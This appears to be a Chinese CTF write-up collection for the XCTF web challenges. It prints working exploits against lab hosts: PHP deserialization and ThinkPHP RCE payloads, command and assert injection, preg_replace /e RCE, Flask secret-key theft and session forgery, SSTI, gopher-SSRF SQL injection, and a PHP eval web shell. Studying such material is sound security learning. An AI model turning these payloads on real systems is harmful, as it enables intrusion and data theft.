攻防世界题目练习 WEB unseping poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } } $a=array('a'=>'ca""t${IFS}f*$(printf${IFS}"\57")f""lag_831b69012c67b35f.ph""p'); $b=new ease("ping",$a); $c=serialize($b); $d=base64_encode($c); echo $d; ?>
catcat-new 随机点开一个小猫。发现可以读文件,尝试读取一下,成功
源码查看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh if os.path.isfile("/flag"): # 导入flag文件并删除掉 flag = cat("/flag") os.remove("/flag") @app.route('/', methods=['GET']) def index(): detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST']) def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。 def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
session的key是随机的,后面拼接了abcdefgh,
lask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。
info?file=../../../proc/self/maps
破解脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 # coding=utf-8 #---------------------------------- ################################### #Edited by lx56@blog.lxscloud.top ################################### #---------------------------------- import requests import re import ast, sys from abc import ABC from flask.sessions import SecureCookieSessionInterface url = "http://61.147.171.105:65402/" #此程序只能运行于Python3以上 if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') #----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ---------------- class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key class FSCM(ABC): def encode(secret_key, session_cookie_structure): #Encode a Flask session cookie try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e #由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key s_key = "" bypass = "../.." #请求file路由进行读取 map_list = requests.get(url + f"info?file={bypass}/proc/self/maps") map_list = map_list.text.split("\\n") for i in map_list: #匹配指定格式的地址 map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i) if map_addr: start = int(map_addr.group(1), 16) end = int(map_addr.group(2), 16) print("Found rw addr:", start, "-", end) #设置起始和结束位置并读取/proc/self/mem res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}") #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey if "*abcdefgh" in res.text: #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text) if secret_key: print("Secret Key:", secret_key[0]) s_key = secret_key[0] break
跑到之后脚本解密加密,替换上访问/admin得到flag
web2 让你写个逆向小脚本解密,对我来说有点费劲。。。。唉,我的算法。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function decode($miwen){ $a = strrev(base64_decode(strrev(str_rot13($miwen)))); $decoded = ""; for($_0=0;$_0<strlen($a);$_0++){ $_c=substr($a,$_0,1); $__=ord($_c)-1; $_c=chr($__); $decoded = $decoded.$_c; } $a=strrev($decoded); return $a; } echo decode($miwen); ?>
xff_referer
command_execution 127.0.0.1|cat /home/f*
php_rce thinkphpV5漏洞复现
1 http://61.147.171.105:50484/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /fl*
ez_curl 开题,一大串代码,一开始我还好奇,传参点呢????有个php://input可以结合POSt传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );$url = 'http://back-end:3000/flag?' ;$input = file_get_contents ('php://input' );$headers = (array )json_decode ($input )->headers;for ($i = 0 ; $i < count ($headers ); $i ++){ $offset = stripos ($headers [$i ], ':' ); $key = substr ($headers [$i ], 0 , $offset ); $value = substr ($headers [$i ], $offset + 1 ); if (stripos ($key , 'admin' ) > -1 && stripos ($value , 'true' ) > -1 ){ die ('try hard' ); } } $params = (array )json_decode ($input )->params;$url .= http_build_query ($params );$url .= '&admin=false' ;$ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url );curl_setopt ($ch , CURLOPT_HTTPHEADER, $headers );curl_setopt ($ch , CURLOPT_TIMEOUT_MS, 5000 );curl_setopt ($ch , CURLOPT_NOBODY, FALSE );$result = curl_exec ($ch );curl_close ($ch );echo $result ;try hard1
app.js看了附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const express = require('express'); const app = express(); const port = 3000; const flag = process.env.flag; app.get('/flag', (req, res) => { if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){ res.send(flag); }else{ res.send('try hard'); } }); app.listen({ port: port , host: '0.0.0.0'});
先分析一下源代码
$headers = (array)json_decode($input)->headers把post过去的数据解码成数组,很明显post的内容就是http请求里的headers,写post数据的时候要写成json的形式。像这样:
1 {"headers": ["admin:true"]}
结合源码和附件只有是admin才能得到flag,但是这咋搞啊
https://blog.csdn.net/aa2528877987/article/details/131189077后面看了愚公系列了解到这是js的express魔板
其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。
parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。 以下是一个示例,演示如何使用parameterLimit选项来增加query string和request payload的限制:
1 2 3 4 5 6 const express = require('express') const app = express() // 将parameterLimit设置为10000 app.use(express.json({ parameterLimit: 10000 })) app.use(express.urlencoded({ parameterLimit: 10000, extended: true }))
在上面的代码中,我们将parameterLimit设置为10000。这将允许我们解析更大的请求负载和查询字符串。
需要注意的是,如果你将parameterLimit设置为一个非常高的值,可能会导致安全问题。攻击者可以发送恶意请求,包含大量参数,导致服务器崩溃。因此,你应该谨慎地设置参数限制,并确保你的应用程序具有有效的安全措施,以防止此类攻击。 也就是说express模板有payload上限,跟php正则差不多
第一点:来自源代码的这一行。结合这篇文章的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个”admin”:”t”设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。
第二点:header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤最终的post的内容:
1 {"headers": ["admin: x", " true: y"]}
这样写可以绕过php代码中的die(“try hard”)
该headers在nodejs解析的时候,会得到如下数据:
1 2 3 { "admin": "x true y" }
写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import json import requests url="http://61.147.171.105:51381/" data={"headers": ["xx:xx\nadmin: true","Content-Type: application/json"], "params":{"admin":"true"}} for i in range(1000): data["params"]["x"+str(i)]=i headers={ "Content-Type": "application/json" } json1=json.dumps(data) print(json1) response=requests.post(url,headers=headers,data=json1) print(response.content)
ezbypass-cat 目录穿越
上来一个登陆界面我以为弱口令啥的
发现是目录穿越
mfw 开局发现about存在git+php,猜测大概率有git泄露
访问.git果真存在,githack下载
查看index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
存在assert代码执行命令哇,assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
传入page给file,这里闭合一下传入’) or system(“cat templates/flag.php”);//
闭合为assert("strpos('$file') or system("cat templates/flag.php");// '..') === false") or die("Detected hacking attempt!");
源码得flag
wife_wife
原型链污染
Cat 做攻防世界的题有学到了新东西
开题以为让输入url,猜测命令执行管道符或者ssrf啥的
尝试后面拼接;|& &&都不行后面fuzz字符一下
只有@字符可以用
且当输入@
时,会将@
编码为%40
这里不会做了
看了wp需要输入宽字符%bf在url出输入
报了一串错,拉出来本地生成html文件看看(这里只截取一部分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="robots" content="NONE,NOARCHIVE"> <title>UnicodeEncodeError at /api/ping</title> <style type="text/css"> html * { padding:0; margin:0; } body * { padding:10px 20px; } body * * { padding:0; } body { font:small sans-serif; } body>div { border-bottom:1px solid #ddd; } h1 { font-weight:normal; } h2 { margin-bottom:.8em; } h2 span { font-size:80%; color:#666; font-weight:normal; } h3 { margin:1em 0 .5em 0; } h4 { margin:0 0 .5em 0; font-weight: normal; } code, pre { font-size: 100%; white-space: pre-wrap; } table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; } tbody td, tbody th { vertical-align:top; padding:2px 3px; } thead th { padding:1px 6px 1px 3px; background:#fefefe; text-align:left; font-weight:normal; font-size:11px; border:1px solid #ddd; } tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; } table.vars { margin:5px 0 2px 40px; } table.vars td, table.req td { font-family:monospace; } table td.code { width:100%; } table td.code pre { overflow:hidden; } table.source th { color:#666; } table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; } ul.traceback { list-style-type:none; color: #222; } ul.traceback li.frame { padding-bottom:1em; color:#666; } ul.traceback li.user { background-color:#e0e0e0; color:#000 } div.context { padding:10px 0; overflow:hidden; } div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; } div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; } div.context ol li pre { display:inline; } div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; } div.context ol.context-line li span { position:absolute; right:32px; } .user div.context ol.context-line li { background-color:#bbb; color:#000; } .user div.context ol li { color:#666; } div.commands { margin-left: 40px; } div.commands a { color:#555; text-decoration:none; } .user div.commands a { color: black; } #summary { background: #ffc; } #summary h2 { font-weight: normal; color: #666; } #explanation { background:#eee; } #template, #template-not-exist { background:#f6f6f6; } #template-not-exist ul { margin: 0 0 10px 20px; } #template-not-exist .postmortem-section { margin-bottom: 3px; } #unicode-hint { background:#eee; } #traceback { background:#eee; } #requestinfo { background:#f6f6f6; padding-left:120px; } #summary table { border:none; background:transparent; } #requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; } #requestinfo h3 { margin-bottom:-1em; } .error { background: #ffc; } .specific { color:#cc3300; font-weight:bold; } h2 span.commands { font-size:.7em;} span.commands a:link {color:#5E5694;} pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; } .append-bottom { margin-bottom: 10px; } </style> <script type="text/javascript"> //<!-- function getElementsByClassName(oElm, strTagName, strClassName){ // Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.com var arrElements = (strTagName == "*" && document.all)? document.all : oElm.getElementsByTagName(strTagName); var arrReturnElements = new Array(); strClassName = strClassName.replace(/\-/g, "\-"); var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)"); var oElement; for(var i=0; i<arrElements.length; i++){ oElement = arrElements[i]; if(oRegExp.test(oElement.className)){ arrReturnElements.push(oElement); } } return (arrReturnElements) } function hideAll(elems) { for (var e = 0; e < elems.length; e++) { elems[e].style.display = 'none'; } } window.onload = function() { hideAll(getElementsByClassName(document, 'table', 'vars')); hideAll(getElementsByClassName(document, 'ol', 'pre-context')); hideAll(getElementsByClassName(document, 'ol', 'post-context')); hideAll(getElementsByClassName(document, 'div', 'pastebin')); } function toggle() { for (var i = 0; i < arguments.length; i++) { var e = document.getElementById(arguments[i]); if (e) { e.style.display = e.style.display == 'none' ? 'block': 'none'; } } return false; } function varToggle(link, id) { toggle('v' + id); var s = link.getElementsByTagName('span')[0]; var uarr = String.fromCharCode(0x25b6); var darr = String.fromCharCode(0x25bc); s.textContent = s.textContent == uarr ? darr : uarr; return false; } function switchPastebinFriendly(link) { s1 = "Switch to copy-and-paste view"; s2 = "Switch back to interactive view"; link.textContent = link.textContent.trim() == s1 ? s2: s1; toggle('browserTraceback', 'pastebinTraceback'); return false; } //--> </script>
说是django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。
到这一步后,联系到前面的@
字符没有被过滤,然后看了大佬们的解题思路(这里太坑了,原题目上其实是由提示的)
可以利用@读取文件
前面报错爆出了路径
看到有数据库选项
结合@读取一下试试
@/opt/api/database.sqlite3
Ctrl+f一下找到lflag
1 WHCTF{yoooo_Such_A_G00D_@}
FlatScience 开题
发现存在url,点进去看看,点点发现存在套娃,还有论文可以看。。。
后边扫了一下目录
发现robots.txt
访问提示是admin.php和login.php
不多说直接进入admin.php先看看
源码显示登录是不可能绕过的
随后转到login.php发现源码有提示,存在debug
出现了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?>
sql注入试试
1 python3 sqlmap.py -r 1.txt -tables Users -dump -batch
爆的慢死了
手动试试吧
小tips
1 2 sqlite数据库有一张sqlite_master表, 里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息
下雪了出去推了个雪人,回来一看跑完了啊哈哈哈哈
+—-+——————————-+——–+——————————————+ | id | hint | name | password | +—-+——————————-+——–+——————————————+ | 1 | my fav word in my fav paper?! | admin | 3fab54a50e770d830c0416df817567662a9dc85c | | 2 | my love is…? | fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | | 3 | the password is password | hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | +—-+——————————-+——–+——————————————+
看这个意思好像要回答问题
三个hint翻译过来后边MD5解密https://www.somd5.com/
看网上wp要读取pdf然后转txt在TXT文档里找合适单词拼接Salz等于https://www.somd5.com/
大佬脚本我用了行不通贴一下吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import urllib.request import re import os def getHtml(url): page = urllib.request.urlopen(url) html = page.read() page.close() return html def getPdfUrl(html): global url reg = r'href="(.+?\.pdf)"' url_re = re.compile(reg) url_list = url_re.findall(html.decode('utf-8')) for i in range(len(url_list)): url_list[i] = url[:-10] + url_list[i] return url_list def getUrl(html): global url reg = r'href="(.+?\.html)"' url_re = re.compile(reg) new_url = url[:-10] + url_re.findall(html.decode('utf-8'))[0] if '../' in new_url: return False else: url = new_url return True def getFile(url): file_name = url.split('/')[-1] u = urllib.request.urlopen(url) f = open(file_name, 'wb') block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break f.write(buffer) f.close() print("Sucessful to download" + " " + file_name) if __name__ == "__main__": url = "http://61.147.171.105:65181/index.html" if os.path.exists('pdf_download'): pass else: os.mkdir('pdf_download') os.chdir(os.path.join(os.getcwd(), 'pdf_download')) FLAG = True while (FLAG): html = getHtml(url) url_list = getPdfUrl(html) for i in url_list: getFile(i) if getUrl(html): pass else: FLAG = False
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from cStringIO import StringIO from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import TextConverter from pdfminer.layout import LAParams from pdfminer.pdfpage import PDFPage import sys import string import os import hashlib def get_pdf(): return [i for i in os.listdir("./") if i.endswith("pdf")] def convert_pdf_2_text(path): rsrcmgr = PDFResourceManager() retstr = StringIO() device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams()) interpreter = PDFPageInterpreter(rsrcmgr, device) with open(path, 'rb') as fp: for page in PDFPage.get_pages(fp, set()): interpreter.process_page(page) text = retstr.getvalue() device.close() retstr.close() return text def find_password(): pdf_path = get_pdf() for i in pdf_path: print "Searching word in " + i pdf_text = convert_pdf_2_text(i).split(" ") for word in pdf_text: sha1_password = hashlib.sha1(word+"Salz!").hexdigest() if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c': print "Find the password :" + word exit() if __name__ == "__main__": find_password()
ics-05 开题乱点一通,发现只有设备维护中心能点开
查看源码发现有一个?page=
尝试读取index.php
?page=php://filter/convert.base64-encode/resource=index.php
得到页面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 <?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul class="layui-nav"> <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"> <legend>设备列表</legend> </fieldset> <table class="layui-hide" id="test"></table> <script type="text/html" id="switchTpl"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div style="text-align:center"> <p class="lead"> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>
传参只要包含index.php才能include
看到这里一眼正则匹配e模式
1 2 3 4 5 6 7 8 9 10 11 12 GET /index.php?pat=/(\S*)/e&rep=system("cat%20s*/f*/f*")&sub=1 HTTP/1.1 Host: 61.147.171.105:53794 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 X-FORWARDED-FOR:127.0.0.1 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1708498732; PHPSESSID=6imq8qel0i5qkj4k2k2bonl230 Upgrade-Insecure-Requests: 1
lottery 开局让我凭运气拿钱,一看就是拿钱去买flag得抓包发包
2次就够买flag得了
easytornado 一眼框架tornddo(龙卷风)
开局3个选个选择
/flag.txt:black_flag:flag在/fllllllllllllag
/welcome.txt:render(渲染)
/hints.txt:md5(cookie_secret+md5(filename))
看这3个文本文件的时候发现url有问题
是文件名加md5好像是
加上hins.txt里写的,更加确信了
我们需要先找到cookie_sercet,先尝试文件名输入/fllllllllllllag,出现报错
模板注入必须通过传输型如的执行命令
尝试了几次是模板注入无疑了
爆cookie_secreterror?msg={{handler.settings}}
,得到
按到读/fllllllllllllag的MD5
1 http://61.147.171.105:56021/file?filename=/fllllllllllllag&filehash=9808e887b64268b130754aa0795513e3
shrine 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
1 http://61.147.171.105:60346/shrine/{{url_for.__globals__['current_app'].config}}
very_easy_sql ssrf+groper伪协议+sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import urllib.parse import base64 host = "127.0.0.1:80" #查库 payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #" #查表 #payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #" #查列名 #payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #" #查内容 #payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #" #payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #" base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8") cookie="this_is_your_cookie="+base64_payload test =\ """GET /index.php HTTP/1.1 Host: {} Connection: close Content-Type: application/x-www-form-urlencoded Cookie:{} """.format(host,cookie) tmp = urllib.parse.quote(test) new = tmp.replace("%0A","%0D%0A") result = urllib.parse.quote(new) print("gopher://"+host+"/_"+result)
fakebook 进入题目,首先创建一个用户,进入到该用户view界面
扫目录发现robots.txt
得到user.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
测试发现存在sql注入漏洞
1 2 3 4 5 6 1 order by 1,2,3,4,5# 测得列为4列 1 union/**/select 1,2,3,4 # 显位点在2 2 union/**/select 1,database(),3,4 # 得到数据库fakebook 2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"# 得到列名users 2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"# 得到数据名 2 union/**/select 1,group_concat(data),3,4 from users# 得到字段值
得到一串反序列化数值,跟刚刚源码对上了,好像对join后的反序列化存入数据库
看给的源码一眼ssrf漏洞打file读flag
源码flag
1 2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
看大佬博客发现一个nb的做法前面查库的时候看看权限是啥
发现是root
可以利用load_file()函数加载文件
源码可以直接看到
题目名称-文件包含 1 2 3 4 5 6 7 8 <?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?>
1 ?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
Confusion1
开局抽象蛇缠象
想了一下好像是python(蟒蛇)和php(大象)
乱点一通发现login和register全是404
发现存在ssti
尝试了一番好像过滤了class,base啥的,挺多的
首页源码发现访问试试
发现flag存在位置,ssti继续构造
bug 进入页面先注册一个用户,发现存在uID,我是5
登录之后发现cookie user有些可疑
测试发现是UID:用户名
那admin应该是1喽
1 2 1:admim 4b9987ccafacb8d8fc08d22bbca797ba
替换原有cookie记得把UID换成1
拿到admin的信息,去修改密码
登陆成功之后想要manage发现ipnotallow
伪造ip呗,xff
1 X-Forwarded-For: 127.0.0.1
不知道该干嘛了,看看源码发现
do=upload
不知道为啥改了后缀为php4就出了
1 2 GIF89a <script language="pHp">@eval($_POST['1'])</script>
ics-07 开局同ics-05一顿乱点,进入到了index.php,提示给了view-source.php
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } ?> <form action="#" method="get"> page : <input type="text" name="page" value=""> id : <input type="text" name="id" value=""> <input type="submit" name="submit" value="submit"> </form> <br /> <a href="index.phps">view-source</a> <?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
审计代码
1 2 3 4 5 6 7 8 9 10 11 12 if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } ?>
如果page不存在则显示网页源码,page存在且不等于index.php则包含flag.php,否则重定向到flag.php这个文件
